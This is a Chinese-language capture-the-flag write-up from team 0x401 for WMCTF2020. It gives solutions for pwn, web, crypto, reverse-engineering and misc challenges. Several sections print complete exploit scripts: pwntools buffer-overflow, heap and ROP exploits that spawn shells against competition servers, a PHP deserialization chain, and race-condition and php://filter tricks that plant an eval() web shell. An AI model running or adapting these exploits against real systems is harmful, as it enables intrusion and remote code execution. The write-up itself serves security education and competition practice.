WMCTF2020 WP by 0x401

WMCTF is a Jeopardy-style Online Capture The Flag Competition presented by W&M. 以下是 0x401 Team 总结整理的 WP。

0x401战队招收各个方向的选手,欢迎投递简历至team401@126.com!

PWN

- mengyedekending

程序逻辑在so里面,是个.net,反编译一看洞很明显。但是需要覆盖的位置和大小都和反编译出来不太一样。估计是解释器后端内存布局和c有些不同。所以手动测测偏移,发现108偏移就是需要写的位置,写成那个变量的地址即可。

 1from pwn import*
2cn=remote("111.73.46.229",51000)
3context.log_level='debug'
4cn.recvuntil("you : ")
5addr = int(cn.recvuntil("\n"),16)
6success(hex(addr))
7#payload="b"*50+chr(50)+'\x00'*3+'\xe0'+"\n"
8payload="b"*50+chr(108)+p32(addr)[0]+"\n"
9# payload="b"*50+'\n'
10cn.sendafter("you want me to repeat?",payload)
11cn.sendlineafter("Do you want to change your input?","Y")
12cn.sendlineafter("lease tell me a offset",'\x41')
13cn.interactive()

-cfgo-CheckIn

前面是个迷宫问题,写个广搜搜一搜就可以。最后输入有溢出,ida找字符串,找到关键逻辑位置,可以看到大概就是会覆盖一个地址可以用来泄露,同时可以覆盖返回地址低位。于是第一次覆盖的时候覆盖泄露地址为 go 语言 mmap 出来的一块区域(0xc000000000),可以泄露 程序基地址,同时返回地址最低位改成'\xce'重启该函数。

用这种方式第一次泄露基地址,第二次泄露libc,第三次get shell。可能因为网络原因要多跑几次。

  1from pwn import *
2#cn=process("./pwn",shell=False)
3cn=remote("81.68.174.63",62176)
4
5class loc(object):
6    def __init__(self, xy, pre, dir):
7        self.x = x
8        self.y = y
9        self.pre = pre
10        self.dir = dir
11
12black="\xe2\xac\x9b"
13write="\xe2\xac\x9c"
14face="\xf0\x9f\x98\x82"
15flag="\xf0\x9f\x9a\xa9"
16start_x=0
17start_y=0
18des_x=0
19des_y=0
20mapgs=[]
21length=6
22visited=[]
23
24def gen_maps(s):
25    global start_x
26    global start_y
27    global des_x
28    global des_y
29    global visited
30    global length
31    global mapgs
32    start_x = 0
33    start_y = 0
34    des_x = 0
35    des_y = 0
36    i=0
37    j=0
38    mapgs = [[0 for x in range(length)] for y in range(length)]
39    index=0
40    size=len(s)
41    visited = [[0 for x in range(length)] for y in range(length)]
42
43    while(i<length):
44        if (s[index]=='\xe2' and s[index+1]=='\xac' and s[index+2]=='\x9b'):
45            mapgs[i][j]=0
46            j=j+1
47            index=index+3
48        elif (s[index]=='\xe2' and s[index+1]=='\xac' and s[index+2]=='\x9c'):
49            mapgs[i][j]=1
50            j=j+1
51            index=index+3
52        elif (s[index]=='\xf0' and s[index+1]=='\x9f' and s[index+2]=='\x9a'and s[index+3]=='\xa9'):
53            mapgs[i][j]=3
54            des_x=i
55            des_y=j
56            j=j+1
57            index=index+4
58        elif (s[index]=='\n'):
59            index=index+1
60            j=0
61            i=i+1
62        else:
63            mapgs[i][j]=2
64            start_x=i
65            start_y=j
66            j=j+1
67            index=index+4
68
69a=[0,1,0,-1]
70b=[1,0,-1,0]
71path=['d','s','a','w']
72
73def bfs():
74    global mapgs
75    global length
76    tail = 0
77    queue = []
78
79    queue.append(loc(start_x,start_y,-1,'0'))
80    while(tail!=len(queue)):
81        current = queue[tail]
82        for i in range(4):
83            x_new = current.x+a[i]
84            y_new = current.y+b[i]
85            pre = tail
86            direction = path[i]
87            new_loc = loc(x_new,y_new,pre,direction)
88            if(x_new>=0 and x_new<length and y_new>=0 and y_new<length and mapgs[x_new][y_new]==1 and visited[x_new][y_new]==0):
89                visited[x_new][y_new]=1
90                queue.append(new_loc)
91
92            if(x_new>=0 and x_new<length and y_new>=0 and y_new<length and mapgs[x_new][y_new]==3 and visited[x_new][y_new]==0):
93                s=''
94                now = new_loc
95                while(True):
96                    s = s+now.dir
97                    now = queue[now.pre]
98                    if(now.pre==-1):
99                        return s[::-1]
100
101        tail=tail+1
102
103for i in range(100):
104    cn.recvuntil("reaching level")
105    cn.readline()
106    s=""
107    for i in range(length):
108        s=s+cn.readline()
109    print(i)
110    gen_maps(s)
111    payload=bfs()
112    cn.sendline(payload)
113    length=length+1
114
115
116
117context.log_level='debug'
118pause()
119#cn.sendlineafter(" your name:","b"*0x78+p64(0)+"b"*((0x110-0x80))+p64(0xdeedbeef))
120cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(0xc000000000)+p64(0x40)*19+'\xce')
121cn.recvuntil("Your name is : ")
122cn.recv(0x30)
123base=u64(cn.recv(8))-0x206ac0
124rdi_ret=base+0x109d3d
125ret_addr=base+0x72016
126free_got=base+0x1eeed8
127cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(free_got)+p64(0x40)*19+'\xce')
128cn.recvuntil("Your name is : ")
129free_addr=u64(cn.recv(8))
130sys_addr=free_addr    -0x48440
131binsh=free_addr+0x119d5a
132# sys_addr=free_addr-0x48510
133# binsh=free_addr+0x11c54a
134success(hex(free_addr))
135#gdb.attach(cn,"b *"+hex(0x55555566D37A))
136cn.sendlineafter(" your name:",p64(0xffffffffffffffff)*14+p64(free_got)+p64(0x40)*19+p64(ret_addr)+p64(rdi_ret)+p64(binsh)+p64(sys_addr))
137cn.interactive()

-roshambo

程序大致逻辑就是服务器模式会hash时间然后用hash值创管道。客户机模式可以用这个hash值连上服务器和服务器通信。漏洞同时在客户机模式和服务机模式的最后。

这里有洞。在有tachebin情况下,malloc(0)会返回0x20的chunk(不确定在2.23情况会怎么样)。于是后面就可以直接堆溢出。

虽然客户机模式的代码也有这个洞,但是客户机模式是子线程,走的不是 main_arena,所以就不用客户机模式来打,打服务器模式的主线程就可以了。

于是在逆向交互逻辑之后,这题就变成了一个堆溢出的题了,大致关键就是把前面已经释放的堆的 size 给改掉,然后后面重新 malloc 再 free 堆就乱了。排布一下堆可以造libc地址和泄露heap地址,最后 tcachebin attack 打free_hook改成puts函数地址(因为开了沙箱,不能直接改system,这里改成puts目的是为了改成一个无害的函数,防止后面free的时候crash),同时另一个堆先在tcahce的 metadata堆占个坑。后面就可以改metadata堆泄露libc,然后泄露栈地址,最后rop。网络原因,可能要多跑几次。

 1from pwn import *
2context.log_level='debug'
3
4def packet(head,type,length,data):
5    s=head
6    s=s+p64(type)
7    s=s+p64(length)
8    s=s+data
9    return s
10
11def create(size,data):
12    sleep(2)
13    cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x20))
14    cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * 0x20))
15    cn1.sendlineafter("size:", str(size))
16    cn1.sendafter(" do you want to say?", data)
17
18# cn1=process("./roshambo",shell=False)
19# cn2=process("./roshambo",shell=False)
20cn1=remote("81.68.174.63",64681)
21cn2=remote("81.68.174.63",64681)
22
23cn1.sendlineafter("Your Mode: ","C")
24cn1.sendlineafter("Authorization:","20")
25cn1.recvuntil("Your room: ")
26room=cn1.recv(32)
27cn1.sendlineafter("Your Name:","host")
28
29
30cn2.sendlineafter("Your Mode: ","L")
31cn2.sendlineafter("Your room:",room)
32cn2.sendlineafter("our Name:","guest")
33
34create(0,"ok")
35create(0x30,"ok")
36create(0x40,"ok")
37create(0x50,"ok")
38create(0x60,"ok")
39create(0,"a"*0x10+p64(0)+p64(0x751+0x60+0x70))
40
41
42cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x800))
43cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * (0x700-0x68)+p64(0)+p64(0x21)+"a"*0x10+p64(0)+p64(0x21)))
44cn1.sendlineafter("size:", str(0x30))
45cn1.sendafter(" do you want to say?""ok")
46sleep(2)
47
48cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 4, 0x20, "a" * 0x800))
49cn1.sendlineafter(">>", packet("[RPg]".ljust(8, '\x00'), 8, 0x20, "a" * (0x700-0x68)+p64(0)+p64(0x21)+"a"*0x10+p64(0)+p64(0x21)))
50cn1.sendlineafter("size:", str(0x0))
51cn1.sendafter(" do you want to say?""a"*0x20)
52sleep(2)
53cn1.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
54libc_addr=u64(cn1.recv(6)+"\x00"*2)-0x3ec190
55enrivon=libc_addr+0x3ee098
56free_hook=libc_addr+0x3ed8e8
57puts_addr=libc_addr+0x809c0
58rsp_ret=libc_addr+0x3960
59read_addr=libc_addr+0x110070
60rdx_rsi_ret=libc_addr+0x1306d9
61rdi_ret=libc_addr+0x2155f
62open_addr=libc_addr+0x10fc40
63puts_addr=libc_addr+0x809c0
64
65
66create(0,"a"*0x50+p64(0)+p64(0x61)+p64(free_hook-0x20))
67create(0x40,"a")
68create(0,"a"*0x60)
69cn1.recvuntil("a"*0x60)
70heap_addr=u64(cn1.recv(6)+"\x00"*2)-0x430
71create(0,"a"*0x100+p64(0)+p64(0x121)+p64(heap_addr+0x50))
72create(0x60,"a")
73create(0x40,'\x00'*0x20+p64(puts_addr))
74create(0x60,p64(enrivon-1)+p64(heap_addr+0x10)+p64(heap_addr+0x50)*8)
75
76create(0x10,"a")
77cn1.recvuntil('leave: a')
78stack_addr=u64(cn1.recv(6)+"\x00"*2)
79rop_addr=stack_addr-0x100
80success(hex(stack_addr))
81success(hex(heap_addr))
82success(hex(libc_addr))
83create(0x50,p64(rop_addr)*9)
84#gdb.attach(cn1,"b *"+hex(0x5555555569E0))
85create(0x50,p64(rdi_ret)+p64(0)+p64(rdx_rsi_ret)+p64(0x1000)+p64(heap_addr+0x2000)+p64(read_addr)+p64(rsp_ret)+p64(heap_addr+0x2000))
86gadget=p64(rdi_ret)+p64(0)+p64(rdx_rsi_ret)+p64(0x1000)+p64(heap_addr+0x2300)+p64(read_addr)
87gadget+=p64(rdi_ret)+p64(heap_addr+0x2300)+p64(rdx_rsi_ret)+p64(0)*2+p64(open_addr)
88gadget+=p64(rdi_ret)+p64(5)+p64(rdx_rsi_ret)+p64(0x100)+p64(heap_addr+0x2500)+p64(read_addr)
89gadget+=p64(rdi_ret)+p64(heap_addr+0x2500)+p64(puts_addr)
90pause()
91cn1.sendline(gadget)
92pause()
93cn1.sendline("flag\x00")
94cn1.interactive()

-babymac

程序逻辑就是可以溢出0x10字节一次。之前也不熟悉mac,google搜了下找了些资料。

参考资料链接:https://blog.shpik.kr/2019/OSX_Heap_Exploitation/

mac tinybin 在free后会在前两个内存放 pre 指针和 next 指针,存的方式是 addr>>4,之后高4 bit会存一个checksum用来验证。貌似tinybin唯一验证就是只检查这个checksum,然后 checksum 只有4bit, 所以完全可以爆破。

程序的16bit溢出刚好就可以改下一个被释放的堆的 pre 和 next 指针。unlink时候只会执行 next->pre = ptr->pre,于是按照上面的说法,第一个空间改成 value,第二空间改成target addr>>4(高4位随便一个值,反正要爆破),就可以通过unlink将 heap_list 的一个地址给改成got表地址。

但是实际测试的时候发现mac的堆分配很随机,每次分配用的region都是随机的。但是问题不大,只要分配和释放的堆足够多,总有一次触发unlink,并且通过1/16的爆破。

所以大概就是unlink把15号堆地址改成atoi_got。提前在15号堆里面写好一个字符串,每次重新malloc的时候就检查这个字符串有无变化,如果变了的话就说明unlink成功,15号堆地址被改成atoi_got了。后面就可以把atoi_got改成system地址拿flag了。


 1from pwn import *
2
3
4
5def add(size):
6    cn.sendlineafter("Q] Exi",'A')
7    cn.sendlineafter("ize?",str(size))
8
9def erase(id):
10    cn.sendlineafter("Q] Exi",'D')
11    cn.sendlineafter("idx? ",str(id))
12
13def show(id):
14    cn.sendlineafter("Q] Exi",'S')
15    cn.sendlineafter("idx? ",str(id))
16
17def overflow(id,data):
18    cn.sendlineafter("Q] Exi",'M')
19    cn.sendlineafter("idx? ",str(id))
20    cn.sendafter("ontent?",data)
21
22def edit(id,data):
23    cn.sendlineafter("Q] Exi",'E')
24    cn.sendlineafter("idx? ",str(id))
25    cn.sendafter("ontent?",data)
26
27def transform(addr):
28    return addr>>4
29
30
31while True:
32    try:
33        flag=0
34        cn=remote("43.226.148.54",20000)
35        cn.sendafter("Say something?","WMCTF\x00")
36        cn.recvuntil("gift:")
37        main_addr=int(cn.recv(11),16)
38        base=main_addr-0x1510
39        success(hex(base))
40        strange = 3
41
42        for i in range(16):
43            add(0x40)
44
45        for i in range(15):
46            if(i!=strange):
47                erase(i)
48
49        edit(15,"Empty!")
50        overflow(strange,"a"*0x40+p64(base+0x3010)+p64(transform(base+0x3080+0xf0)))
51        success(hex(transform(base+0x3080+0xf0)))
52        for i in range(12):
53            success(i)
54            add(0x40)
55            show(15)
56            s = cn.readline()
57            if "Empty!" not in s:
58                success("WIN")
59                context.log_level = 'debug'
60                show(15)
61                sys_addr=u64(cn.recv(6)+"\x00"*2)+0x1ddcc
62                success(hex(sys_addr))
63                edit(15,p64(sys_addr)*4)
64                cn.sendlineafter("Q] Exi"'A')
65                cn.sendlineafter("ize?""/readflag\x00")
66                cn.interactive()
67
68                flag=1
69                break
70
71        if(flag==1):
72            break
73
74    except:
75        continue

Web

- webweb

__destruct -> __call

$this->db->quotekey($key)这里进行RCE

 1<?php
2namespace DB\SQL{
3class Mapper
4{
5    public $props;
6    public function __construct()
7    
{
8        $this->db = $this;
9        $this->adhoc=['/etc/flagzaizheli'=>["expr"=>"qianwen"]];
10        $this->props = ['quotekey' => "readfile"];
11    }
12}
13}
14
15namespace cli{
16use DB\SQL\Mapper;
17class Agent
18
{
19    public function __construct()
20    
{
21        $this->server = $this;
22        $this->events = ["disconnect"=>[new Mapper(),'find']];
23    }
24}
25class WS{
26    public function __construct()
27    
{
28        $this->qianwen = new Agent();
29    }
30}
31echo urlencode(serialize(new WS()));
32}
33

- web_checkin

经过一堆测试,发现flag居然就在/flag,一读就有

- Make PHP Great Again

猜测是通过PHP_SESSION_UPLOAD_PROGRESS可控进行的。参考连接:https://zhuanlan.zhihu.com/p/139229792给出了exp,但是测试发现cookies并没有存放在exp给的路径(因为没包含到会500,包含到了是200),于是一番探寻,发现cookies存在/tmp/下面
首先写个shell。

 1import io
2import sys
3import requests
4import threading
5
6sessid = 'Dftm'
7
8proxies={"http":"http://127.0.0.1:8081"}
9proxies=None
10def POST(session):
11    while True:
12        f = io.BytesIO(b'a' * 1024 * 500)
13        session.post(
14            'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php',
15            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php  echo 'fuckyou';file_put_contents('/tmp/sess_hackapu',base64_decode('PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg=='));?>"},
16            files={"file":('q.txt', f)},
17            cookies={'PHPSESSID':sessid},proxies=proxies
18        )
19        print('Post Done')
20
21def READ(session):
22    while True:
23        response = session.get(f'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php?file=../../../../../../../../tmp/sess_{sessid}',proxies=proxies)
24        # print('[+++]retry')
25        # print(response.text)
26
27        if 'fuckyou' not in response.text:
28            print('[+++]retry')
29        else:
30            print(response.text)
31            sys.exit(0)
32
33with requests.session() as session:
34    t1 = threading.Thread(target=POST, args=(session, ))
35    t1.daemon = True
36    t1.start()
37
38    READ(session)

接着再连接shell在/var/www/html/flag.php找到flag


- web_checkin2

和 web_checkin1 不同这次flag不在/flag了,于是需要真的把shell写进去然后包含,本想要string.strip_tags结果由于php7.0的缺陷,会导致segmentation_fault,导致写入失败。想来想去还是得利用php filter的特性来搞。对stream_get_filters的结果翻了又翻,发现还有个用于压缩和解压的zlib流,但是zlib压缩解压对数据都是一样的效果,所以还需要搞点事情,让前面的“死亡exit”被破坏掉。我们经过测试发现string.tolower可以让数据部分破坏,但是我们可以精心fuzz出一个结果,让我们的shell即使经过这个过程也依旧能够执行。

最后我们写shell的payload如下

1php://filter/write=zlib.deflate|string.tolower|zlib.inflate/resource=<?PHP eval( $_GET[a                ]     )?>

这个payload会生成一个叫做的shell,但是里面的a被弄成了c。于是首先写入shell(写wp时发现国内外的题目服务器都500了,拿自己的来)

然后包含这个shell,get参数c里面填入想执行的代码(末尾加上exit();防止shell被写入)即可RCE,最后flag在根目录里一个奇形怪状的文件里面

Crypto

- piece_of_cake

这题用了个投机的做法,绕开了出题人精心设置的难题。本来审计代码发现,应该是要通过 make_cake 函数去求解未知参数e,但是在我实际对函数 make_cake 进行测试的时候发现,由于每次服务器会自动生成数据,而且没有对数据进行特别严格的检查,所以可以不断地请求数据,直到请求出一组特定的数据,使原问题一个较为简单的二维 NTRU 问题。在验证函数 eat_cake 中,也有类似的二维 NTRU 问题,因此可以直接不停的请求 eat_cake 的数据,直到一组能解的为止。(可以选择多线程池的请求以及自动化的数据筛选)

下图是原问题中二维NTRU的一个典型实现,其中f,g是私钥。通过多次的测试和规约,直到解出两个均为正数的f,g,并且轻松地求出cake,提交就能获得flag。二维NTRU的解法很简单,构造格[1,h][0,p],使用高斯规约或者直接LLL/BKZ规约即可求解SVP。

至于正解,一直没时间想,比赛结束以后可以思考思考。

- babySum

120维的子集和问题,给了汉明距离k,其中k远小于维数的一半,密度也比较低,这种情况被称为低密度低重量不平衡背包。由于k较小,解集中大多数都是0,可以随机指定一些位置为0,使这些维不参与实际的运算,达到降维的目的。在这个题目中,随机删除的位置数是15,使用的格是

 1import random
2import re
3import logging
4import multiprocessing as mp
5from functools import partial
6import time
7logging.basicConfig(level=logging.DEBUG)
8ZERO_FORCE = 15
9def check(sol, A, s):
10    return sum(x*a for x, a in zip(sol, A)) == s
11
12def solve(A, n, k, s, r, ID=None, BS=22):
13    N = ceil(sqrt(n))
14    rand = random.Random(x=ID)
15    indexes = set(range(n))
16    small_vec = None
17
18    while True:
19
20        kick_out = set(sample(range(n), r))
21        new_set = [A[i] for i in indexes - kick_out]
22
23        lattice = []
24        for i,a in enumerate(new_set):
25            lattice.append([1*(j==i) for j in range(n-r)] + [N*a] + [N])
26        lattice.append([0]*(n-r) + [N*s] + [k*N])
27        shuffle(lattice, random=rand.random)
28        m = matrix(ZZ, lattice)
29        m_BKZ = m.BKZ(block_size=BS)
30
31        print("BKZ finished")
32        row = m_BKZ[0]
33        for i in range(1):
34            if check(row, new_set, s) and row.norm()^2 < 300:
35                if small_vec == None:
36                    small_vec = row
37                    print(small_vec)
38                    print(kick_out)
39                elif small_vec.norm() > row.norm():
40                    small_vec = row
41                    print(small_vec)
42                    print(kick_out)
43                    if row.norm()^2 == k:
44
45                        print("yes!!!!!!!!!!!!!!!!!")
46                        print(row)
47                        print(kick_out)
48                        return True
49
50
51task = [...,[...]]
52s = task[0]
53A = task[1]
54CPU_CORE_NUM = 4
55
56solve_n = partial(solve, A, 12020, s, ZERO_FORCE)
57pool =  mp.Pool(CPU_CORE_NUM)
58reslist = pool.imap_unordered(solve_n, range(CPU_CORE_NUM))
59for res in reslist:
60    if res:
61        pool.terminate()
62        break

- Sum

和上面那题差不多,解法也基本一样,但是维数从120增加到了180。维度扩张以后,BKZ算法求解SVP问题的成功率大大下降,这就不是一般的计算机能计算的问题了。在这个问题中,我选择随机删除40个位置,降到140维,然后租用了一个80核的腾讯云服务器,开了80个进程同时跑,在运算了不知多少个小时以后(大概10h),它跑出了结果。用下图记录这一经典的时刻:

- Game

一个逐位爆破的题,主要考察分组密码的模式。在这里我们知道了初始IV,因此可以预测每一次加密中的IV值,然后secret是48个字节,只需要填充47,46,45….位,得到一个加密结果,然后再从0x00到0xff逐位爆破,并与第一次加密结果对比,如果相同则说明这一位猜测正确了。用这种方法可以慢慢地,每一位每一位地搞出所有的位。另外记录一下解题中遇到的bug,由于我在填充的时候一开始加了已爆出的secret位,导致每次都只能爆出相同的第一位,卡了好久才想明白为什么…另,这题似乎还是从实战中TLS改编而来。

 1from hashlib import sha256
2from pwnlib.util.iters import mbruteforce
3from pwn import *
4import string
5from Crypto.Util.strxor import strxor
6rs = remote("81.68.174.63"16442)
7secret = ""
8
9def proof_of_work(p):
10    p.recvuntil("XXXX+")
11    suffix = p.recvuntil(')').decode("utf8")[:-1]
12    log.success(suffix)
13    p.recvuntil("== ")
14    cipher = p.recvline().strip().decode("utf8")
15    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
16    p.sendlineafter("Give me XXXX:", proof)
17proof_of_work(rs)
18rs.recvuntil("IV is: ")
19IV = rs.recvline().strip()
20log.success("IV is:" + IV)
21#rs.interactive()
22nextiv = IV
23for _ in range(48):
24    rs.recvuntil(">")
25    rs.sendline('1')
26    rs.recvuntil("Your message (in hex): ")
27    payload = "a".encode('hex')*(48-len(secret)//2-1)
28    rs.sendline(nextiv + payload)
29    recvd = rs.recvuntil("\n")[:-1]
30    nextiv = recvd[-32:]
31    tobefucked = recvd[96:128]
32    for i in range(256):
33        rs.recvuntil("> ")
34        rs.sendline('1')
35        rs.recvuntil("Your message (in hex): ")
36        rs.sendline(nextiv +payload +secret + hex(i)[2:].zfill(2))
37        recvd = rs.recvuntil("\n")[:-1]
38        nextiv = recvd[-32:]
39        if recvd[96:128] == tobefucked:
40            log.success("test success!")
41            secret += hex(i)[2:].zfill(2)
42            log.success(secret)
43            break
44rs.interactive()

Reverse

- esay_re

此题主要是perl写的一个程序,直接下断点单步跟。就可找到flag。
WMCTF{I_WAnt_dynam1c_F1ag}

- Wmware

首先有个坑,程序读取的是键盘index码,而不是ascii码。在0xb28的Call内读取键盘数据,接着把每个数据加上0x55,并按照列优先填充至一个6*6的数组。再跳转至0x6000,再按照行优先每4个一组解析成9个int类型,进行一系列运算,最后和0x5700的常量进行比较。

 1import z3
2import numpy as np
3from functools import reduce
4
5s = '1234567890_+qwertyuiop{}asdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
6sign = '02030405060708090a0b0c0d101112131415161718191a1b1e1f202122232425262c2d2e2f303132404142434445464748494e4f505152535455565c5d5e5f606162'
7s2 = ['0x' + sign[2 * i:2 * i + 2for i in range(len(s))]
8
9table = {}
10for i in zip(s, s2):
11    table[i[0]] = int(i[1], 16)
12
13
14def process(s):
15    return '0x' + ''.join(reversed([s[2 * i: 2 * i + 2for i in range(4)]))
16
17
18result = 'd87455ecb5041a42116dba025f050581286ca0ed9904e06ae755a9189135d67164a83745'
19results = [process(result[8 * i: 8 * i + 8]) for i in range(9)]
20
21flag = [z3.BitVec('flag_%d' % i, 8for i in range(36)]
22flag2 = np.array([i + 0x55 for i in flag]).reshape(66)
23flag2 = flag2.T
24flag2 = flag2.reshape(-1)
25flag2 = [i for i in flag2]
26
27flag3 = [reduce(z3.Concat, reversed(flag2[i * 4:i * 4 + 4])) for i in range(9)]
28i = 0
29v39 = 0
30while True:
31    if i == 9:
32        i = 0
33        v39 += 1
34        if v39 == 129:
35            break
36    v41 = (i + 1) % 9
37    v44 = v39 % 3
38    if v44 == 0:
39        flag3[i] = ~((~  flag3[v41] | ~  flag3[i]) & (flag3[v41] | flag3[i]) & 0x24114514) & ~(
40                ~((~  flag3[v41] | ~  flag3[i]) & (flag3[v41] | flag3[i])) & 0xDBEEBAEB)
41    elif v44 == 1:
42        flag3[i] = ~(~(flag3[v41] & flag3[i]) & ~(~  flag3[v41] & ~  flag3[i])) & 0x1919810 | ~(
43                flag3[v41] & flag3[i]) & ~(~  flag3[v41] & ~  flag3[i]) & 0xFE6E67EF
44    else:
45        flag3[i] = (~(flag3[v41] & ~  flag3[i] | ~  flag3[v41] & flag3[i]) | 0xE6D9F7E8) & (
46                flag3[v41] & ~  flag3[i] | ~  flag3[v41] & flag3[i] | 0x19260817)
47    i = i + 1
48s = z3.Solver()
49for i in zip(flag3, results):
50    s.add(i[0] == int(i[1], 16))
51print(s.check())
52m = s.model()
53for i in flag:
54    t = m[i].as_long()
55    for item in table:
56        if t == table[item]:
57            print(item, end='')
Misc

- Music_game_2

程序的逻辑是,读入wav音频文件,提取MFCC特征,把MFCC特征输入网络,网络得到分类结果。所以这题的目的就是生成其他三个方向(左右下)的音频,这个音频需满足:1. 与原音频MFCC特征的平均绝对误差小于4。2.分类的可信度大于0.9。
首先使用:

1model = keras.models.load_model('model.h5')
2keras.utils.plot_model(model, 'model.png', show_shapes=True)

输出网络结构:

原网络就是一个简单的全连接网络,根据以上两个要求,在原基础搭建新的网络。

 1base_model = keras.models.load_model('model.h5')
2
3inp = keras.Input(shape=(30, 20))
4x = keras.layers.Dense(20)(inp)
5x1 = keras.layers.Dense(20)(x)
6out1 = keras.layers.Subtract(name='output1')([x1, inp])
7out2 = base_model(x1)
8
9model = keras.Model(inputs=[inp], outputs=[out1, out2])
10model.layers[4].trainable = False

网络结构如下:

sequential层需冻结,所以可训练参数就是两个全连接层:2(2020+20)=840。

网络输入是原音频MFCC特征,经过两个全连接变换后的输出即是我们要拟合的其他方向的MFCC特征,接着把这个特征输入到两个输出层:左边的sequential即原网络满足条件2,loss使用交叉熵categorical_crossentropy、右边的substract,用拟合的MFCC-原音频MFCC,这个结果趋近0(也可以直接输出拟合的MFCC,最后使得结果趋近原音频MFCC即可)就满足条件1,loss使用均方误差mean_squared_error。

训练的时候,input就是example.wav的mfcc,output1是对应方向的one-hot表示、output2是shape = [?,30,20] 的全 0 tensor。
如,right方向训练:

1inputs = [np.array([mfcc for i in range(5000)])]
2outputs = [np.zeros(shape=(5000, 30, 20)), np.array([0, 0, 0, 1] * 5000).reshape(5000, 4)]
3model.fit(inputs, outputs, batch_size=50, epochs=50)

最后把mfcc特征转换成时域的音频信号得到各个方向的音频文件,再使用这些音频文件走到终点即可。

 1mfcc1 = get_wav_mfcc('example.wav')
2
3model = keras.models.load_model('h5/down.h5')
4aa1, aa2 = model(mfcc1.reshape(1, 30, 20))
5aa1 = aa1.numpy()
6aa2 = aa2.numpy()
7
8print(np.mean(np.absolute(aa1)))
9print(aa2)
10omfcc = aa1.reshape(30, 20) + mfcc1
11x = librosa.feature.inverse.mfcc_to_audio(omfcc.T, sr=16000)

12sf.write('sound/down.wav', x, 16000, subtype='PCM_24')

 1import requests
2
3sess = requests.session()
4url = 'https://game2.wmctf1.wetolink.com:4430/'
5
6print(sess.get(url).text)
7while True:
8    direct = input('next:')
9    times = int(input('times:'))
10    path = 'sound/' + direct + '.wav'
11    for i in range(times):
12        print(sess.post(url, files={'upfile'open(path'rb')}).text)
13    print(sess.get(url).text)

FeedBack

问卷送分题,没啥好写。

- Signin

签到题

- XMAN_Happy_birthday!

看文件名就知道是反序列输出HEX
xxd -i命令输出C代码
然后编写python脚本进行反序列输出

1with open('out.c'as f:
2    t = f.read().replace('\n','').split(',')
3t.reverse()
4with open('out.zip','wb'as f:
5    for i in t:
6        f.write(bytes([int(i,16)]))

打开即可得到flag。

- Music_game

用标准的美式发音控制up,down,left,right,坦克走到终点弹出flag。

评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)

复现基于eBPF实现的Docker逃逸